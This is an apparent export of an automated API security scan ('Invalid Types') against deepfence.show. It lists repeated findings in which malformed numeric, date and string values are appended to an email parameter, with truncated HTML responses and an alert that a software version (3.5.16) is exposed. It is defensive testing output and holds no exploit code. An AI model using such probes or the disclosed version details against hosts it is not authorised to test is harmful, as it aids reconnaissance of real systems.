__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1941
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioGpM7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1942Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io0FB7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1943
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-1E4f
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1944
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io12.45E+12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1945
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.io-1.23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1946
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSoapUI is the best
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1947
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioP1Y2M3DT10H30M12.3S
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1948
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1999-05-31T13:20:00.000-05:00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1949
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1999-05-31
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1950Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-1267896799
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1951
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-882223334991111111
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1952
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-2147483647
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1953
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-32768
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1954
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io127
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked  demouser@deepfence.io 
an unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1955
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
